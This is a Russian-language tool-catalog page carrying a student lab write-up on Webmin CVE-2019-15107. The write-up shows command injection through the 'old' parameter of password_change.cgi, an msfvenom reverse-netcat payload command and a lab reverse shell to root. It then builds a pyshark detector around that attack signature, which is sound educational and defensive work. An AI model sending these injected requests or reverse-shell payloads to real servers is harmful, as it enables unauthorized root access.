Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
detect-CVE-2019-15107-by-pyshark — школьный проект | Kitploit
Инструменты/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Сниффинг и анализ пакетовАнализ уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасностьОбнаружение ВторженийОбучение и Образование
GitHubgozn/detect-cve-2019-15107-by-pyshark

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

detect-CVE-2019-15107-by-pyshark

школьный проект

Репозиторий
12 лет назадЕщё не проверено

detect-CVE-2019-15107-by-pyshark

I. Обзор CVE-2019-15107 Webmin — это веб-интерфейс для системного администрирования Unix. С помощью любого веб-браузера можно настраивать учетные записи пользователей, Apache, DNS, общий доступ к файлам и многое другое. 10 августа 2019 года турецкий исследователь безопасности Özkan Mustafa Akkuş объявил об уязвимости нулевого дня на DefCon. Помимо раскрытия уязвимости, Akkuş также выпустил модуль Metasploit для автоматизации эксплуатации этой уязвимости. Из-за выполнения кода в функции сброса пароля файла password_change.cgi данная уязвимость позволяет третьей стороне выполнять вредоносный код без проверки подлинности ввода. II. Затронутые версии Эта уязвимость затрагивает версии Webmin с 1.882 по 1.921. Чтобы предотвратить эту уязвимость, пользователям Webmin следует обновиться до последней версии Webmin 1.93. III. Анализ уязвимости В Webmin для эксплуатации данной уязвимости необходимо включить функцию "разрешить изменение пароля пользователя". Это единственное условие, однако многие администраторы Webmin активируют эту функцию. Она позволяет пользователям устанавливать новый пароль, зная старый. В исходном коде приложения Webmin есть несколько примечательных файлов ".cgi". Один из них — password_change.cgi. изображение

Единственное требование для работы параметров в этом файле — чтобы значение "passwd_mode" в конфигурационном файле "miniserv.conf" было установлено в "2".

изображение

На этом этапе мы будем использовать "|", читая файл /etc/shadow в процессе проверки старого пароля. Пример обычной команды смены пароля: изображение

Если мы вставим простую команду, например "ifconfig", в команду смены пароля, как показано ниже, команда "ipconfig" будет выполнена и результат отобразится. изображение

IV. Модель развертывания

  • Машина Ubuntu (жертва) с установленным Webmin версии 1.920 и IP-адресом: 192.168.109.128 изображение

  • Машина Kali (атакующий) с IP-адресом: 192.168.109.131 изображение

 

  • Поскольку данная CVE эксплуатирует функцию сброса пароля при истечении срока действия старого пароля в Webmin, жертва должна настроить Webmin в режиме "Предлагать пользователям с истекшим паролем ввести новый". изображение

V. Эксплуатация уязвимости CVE

  • На первом этапе атакующая машина использует Burp Suite для перехвата запросов, отправляемых при смене пароля в Webmin по ссылке: 192.168.109.128:10000/password_change.cgi (IP жертвы) изображение

 

  • Затем атакующая машина отправляет этот запрос во вкладку Repeater Burp Suite для проверки уязвимости. изображение

  • Атакующий редактирует некоторые данные перехваченного пакета запроса. Для изменения пароля метод HTTP должен быть POST, а не GET, как изначально. изображение

 

  • Затем атакующая машина отправляет тестовый запрос на смену пароля со старого пароля на сервер Webmin жертвы: “user=test&pam=&old=test&new1=test2&new2=test2” изображение

  • При отправке запроса приходит сообщение о несовпадении старого пароля (The current password is incorrect), поэтому ключевым является параметр “old”.

  • Далее мы пробуем вставить базовую команду, например ifconfig, после параметра old, чтобы при проверке старого пароля сервер выполнил вставленную команду. Например: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2” изображение

  • Аналогично, при проверке старого пароля сервер всё равно выдает ошибку, но после проверки выполняется команда “ifconfig” и отображается результат.

  • Затем, для получения root-доступа, мы используем Metasploit framework для создания полезной нагрузки (payload) и отправки её на сервер Webmin жертвы для получения сессии shell. “msfvenom -p cmd/unix/reverse_netcat lhost= lport=” изображение

  • Затем копируем payload и вставляем его в запрос в Burp Suite. изображение

 

  • После отправки запроса с payload на сервер Webmin машина-жертва получает reverse shell. Атакующая машина получает сессию shell на машину-жертву (ip: 192.168.109.128, порт 37218). изображение

  • Таким образом, мы получили root-доступ через данную уязвимость CVE. изображение

  VI. Определение сигнатуры атаки

  • Используем Wireshark для захвата пакетов на сетевом уровне. изображение

  • Для эксплуатации этой CVE атакующий должен использовать ссылку /password_change.cgi для отправки вредоносных запросов методом POST HTTP, поэтому мы будем анализировать захваченные HTTP-пакеты в Wireshark. изображение

  • Мы видим, что команда “ifconfig” вставлена в процесс проверки старого пароля при смене пароля на сервере Webmin. изображение изображение

 

  • Таким образом, мы определяем сигнатуру этой CVE как параметры, передаваемые в процессе смены пароля по ссылке /password_change.cgi: “user=test&pam=&old=test | <команда, которую хочет выполнить атакующий> &new1=test2&new2=test2” VII. Разработка инструмента обнаружения атаки CVE-2019-15107

  • Как было проанализировано выше, для эксплуатации этой CVE атакующий должен вставить команду в параметр old ("старый пароль"). изображение

  • Чтобы обнаружить попытки вставки команд на основе этой уязвимости, мы будем захватывать и анализировать HTTP-пакеты, отправленные атакующим, с помощью инструмента “pyshark”. изображение

 

  • Данные в захваченном HTTP-пакете возвращаются в шестнадцатеричном формате. По параметру “old=” и символу “|” можно определить, что кто-то пытается эксплуатировать эту CVE. Функция checkPayload проверяет, есть ли проблема в HTTP-пакете. изображение

  • Затем, после определения проблемного HTTP-пакета, функция getCommand выводит команды, которые выполняет атакующий. изображение

  • Процесс захвата и анализа пакетов также записывается в файл .csv. изображение

VIII. Демонстрация программы

  • При атаке программа выдает предупреждение в реальном времени. изображение

  • При остановке программы записывается файл .csv со всеми захваченными трафиками за время работы программы (payload http в шестнадцатеричном формате). изображение

  • Программа также ведет журнал предупреждений об опасности. изображение

  IX. Заключение В ходе обучения и выполнения практических заданий в классе я смог частично понять процесс исследования и анализа вредоносного ПО. При эксплуатации и разработке программы обнаружения уязвимости CVE-2019-15107 я смог применить полученные знания для анализа и создания программы обнаружения уязвимости по сигнатурам, что повысило мои навыки анализа, обнаружения и обработки информации, а также мониторинга безопасности сети.

Скачать инструмент